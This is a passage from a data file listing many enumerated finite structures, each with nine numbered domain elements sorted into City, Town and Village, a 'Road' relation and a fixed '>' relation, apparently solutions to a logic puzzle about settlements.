('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('8', '2'), ('3', '4'), ('3', '9'), ('2', '8'),
('1', '2'), ('5', '2'), ('2', '5'), ('1', '6'), ('4', '3'), ('6', '1'),
('7', '2'), ('9', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '4'), ('3', '8'), ('5', '2'), ('1', '2'),
('2', '5'), ('1', '6'), ('9', '2'), ('4', '3'), ('6', '1'), ('7', '2'),
('8', '3'), ('2', '7'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '4'), ('3', '8'), ('3', '9'), ('1', '2'),
('5', '2'), ('2', '5'), ('9', '3'), ('1', '6'), ('4', '3'), ('6', '1'),
('7', '2'), ('8', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'), ('5', '2'),
('2', '8'), ('1', '2'), ('2', '5'), ('1', '6'), ('9', '2'), ('4', '3'),
('6', '1'), ('7', '3'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'), ('3', '9'),
('2', '8'), ('1', '2'), ('5', '2'), ('2', '5'), ('1', '6'), ('4', '3'),
('6', '1'), ('9', '3'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('3', '7'), ('3', '4'), ('3', '8'), ('5', '2'),
('1', '2'), ('2', '5'), ('1', '6'), ('9', '2'), ('4', '3'), ('6', '1'),
('8', '3'), ('7', '3'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('3', '4'), ('2', '8'),
('1', '2'), ('1', '6'), ('9', '2'), ('4', '3'), ('6', '1'), ('7', '2'),
('5', '3'), ('2', '7'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('3', '4'), ('3', '9'),
('2', '8'), ('1', '2'), ('1', '6'), ('4', '3'), ('6', '1'), ('7', '2'),
('9', '3'), ('5', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '4'), ('3', '8'), ('1', '2'),
('1', '6'), ('9', '2'), ('4', '3'), ('6', '1'), ('7', '2'), ('8', '3'),
('5', '3'), ('2', '7'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('8', '2'), ('3', '4'),
('2', '8'), ('1', '2'), ('1', '6'), ('9', '2'), ('4', '3'), ('6', '1'),
('5', '3'), ('7', '3'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '7'), ('3', '8'), ('2', '4'), ('1', '2'),
('3', '9'), ('5', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('7', '1'),
('8', '3'), ('9', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('8', '2'), ('1', '7'), ('3', '9'), ('2', '4'),
('1', '2'), ('2', '8'), ('5', '2'), ('2', '5'), ('3', '6'), ('7', '1'),
('9', '3'), ('4', '2'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '7'), ('3', '8'), ('2', '4'), ('1', '2'),
('5', '2'), ('2', '5'), ('3', '6'), ('7', '1'), ('9', '2'), ('8', '3'),
('4', '2'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '7'), ('3', '8'), ('2', '4'), ('1', '2'),
('3', '9'), ('5', '2'), ('2', '5'), ('3', '6'), ('7', '1'), ('8', '3'),
('9', '3'), ('4', '2'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('1', '7'), ('3', '9'),
('2', '4'), ('1', '2'), ('2', '8'), ('2', '6'), ('6', '2'), ('7', '1'),
('9', '3'), ('5', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '7'), ('3', '8'), ('2', '4'),
('1', '2'), ('2', '6'), ('6', '2'), ('7', '1'), ('9', '2'), ('8', '3'),
('5', '3'), ('4', '2'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '7'), ('3', '8'), ('2', '4'),
('1', '2'), ('3', '9'), ('2', '6'), ('6', '2'), ('7', '1'), ('8', '3'),
('9', '3'), ('5', '3'), ('4', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('1', '7'), ('2', '4'),
('1', '2'), ('2', '8'), ('3', '6'), ('7', '1'), ('9', '2'), ('5', '3'),
('4', '2'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('8', '2'), ('1', '7'), ('3', '9'),
('2', '4'), ('1', '2'), ('2', '8'), ('3', '6'), ('7', '1'), ('9', '3'),
('5', '3'), ('4', '2'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '7'), ('3', '8'), ('2', '4'),
('1', '2'), ('3', '6'), ('7', '1'), ('9', '2'), ('8', '3'), ('5', '3'),
('4', '2'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '7'), ('3', '4'), ('2', '8'), ('1', '2'),
('3', '9'), ('5', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('7', '1'),
('4', '3'), ('9', '3'), ('8', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '7'), ('3', '4'), ('3', '8'), ('1', '2'),
('5', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('7', '1'), ('9', '2'),
('4', '3'), ('8', '3'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '7'), ('3', '4'), ('3', '8'), ('1', '2'),
('3', '9'), ('5', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('7', '1'),
('4', '3'), ('8', '3'), ('9', '3'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '7'), ('3', '4'), ('2', '8'), ('1', '2'),
('5', '2'), ('2', '5'), ('3', '6'), ('7', '1'), ('9', '2'), ('4', '3'),
('8', '2'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '7'), ('3', '4'), ('2', '8'), ('1', '2'),
('3', '9'), ('5', '2'), ('2', '5'), ('3', '6'), ('7', '1'), ('4', '3'),
('9', '3'), ('8', '2'), ('1', '3'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '7'), ('3', '4'), ('3', '8'), ('1', '2'),
('5', '2'), ('2', '5'), ('3', '6'), ('7', '1'), ('9', '2'), ('4', '3'),
('8', '3'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '7'), ('3', '4'), ('2', '8'),
('1', '2'), ('2', '6'), ('6', '2'), ('7', '1'), ('9', '2'), ('4', '3'),
('5', '3'), ('8', '2'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '7'), ('3', '4'), ('2', '8'),
('1', '2'), ('3', '9'), ('2', '6'), ('6', '2'), ('7', '1'), ('4', '3'),
('9', '3'), ('5', '3'), ('8', '2'), ('1', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '7'), ('3', '4'), ('3', '8'),
('1', '2'), ('2', '6'), ('6', '2'), ('7', '1'), ('9', '2'), ('4', '3'),
('8', '3'), ('5', '3'), ('1', '3'), ('2', '9')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '7'), ('3', '4'), ('2', '8'),
('1', '2'), ('3', '6'), ('7', '1'), ('9', '2'), ('4', '3'), ('5', '3'),
('8', '2'), ('1', '3'), ('2', '9'), ('6', '3')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('3', '7'), ('5', '2'), ('3', '9'),
('2', '4'), ('1', '2'), ('2', '5'), ('2', '6'), ('6', '2'), ('7', '3'),
('9', '3'), ('4', '2'), ('1', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('5', '2'), ('3', '9'), ('2', '4'),
('1', '2'), ('2', '5'), ('4', '2'), ('3', '6'), ('7', '2'), ('9', '3'),
('2', '7'), ('1', '3'), ('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('3', '7'), ('5', '2'), ('2', '4'),
('1', '2'), ('2', '5'), ('3', '6'), ('7', '3'), ('9', '2'), ('4', '2'),
('1', '3'), ('2', '9'), ('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '1'), ('1', '8'), ('3', '7'), ('5', '2'), ('3', '9'),
('2', '4'), ('1', '2'), ('2', '5'), ('3', '6'), ('7', '3'), ('9', '3'),
('4', '2'), ('1', '3'), ('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('3', '9'), ('2', '4'),
('1', '2'), ('2', '6'), ('4', '2'), ('6', '2'), ('7', '2'), ('9', '3'),
('5', '3'), ('2', '7'), ('1', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('3', '7'), ('2', '4'),
('1', '2'), ('2', '6'), ('6', '2'), ('7', '3'), ('9', '2'), ('5', '3'),
('4', '2'), ('1', '3'), ('2', '9'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('3', '7'), ('3', '9'),
('2', '4'), ('1', '2'), ('2', '6'), ('6', '2'), ('7', '3'), ('9', '3'),
('5', '3'), ('4', '2'), ('1', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('2', '4'), ('1', '2'),
('4', '2'), ('3', '6'), ('9', '2'), ('7', '2'), ('5', '3'), ('2', '7'),
('1', '3'), ('2', '9'), ('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
('1', '8'), ('1', '2'), ('1', '9'), ('3', '5'), ('3', '7'), ('2', '4'),
('2', '8'), ('3', '6')}},
{"DOMAIN": {'5', '3', '6', '7', '2', '9', '4', '8', '1'}, "City": {'1'},
"Town": {'3', '2'}, "Village": {'5', '6', '7', '9', '8', '4'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('1', '8'), ('3', '9'), ('2', '4'),
('1', '2'), ('4', '2'), ('3', '6'), ('7', '2'), ('9', '3'), ('5', '3'),
('2', '7'), ('1', '3'), ('6', '3'), ('8', '1')},
">": {('1', '5'), ('3', '4'), ('3', '8'), ('3', '9'), ('2', '5'), ('2', '6'),
('2', '7'), ('1', '7'), ('1', '6'), ('1', '3'), ('2', '9'), ('1', '4'),
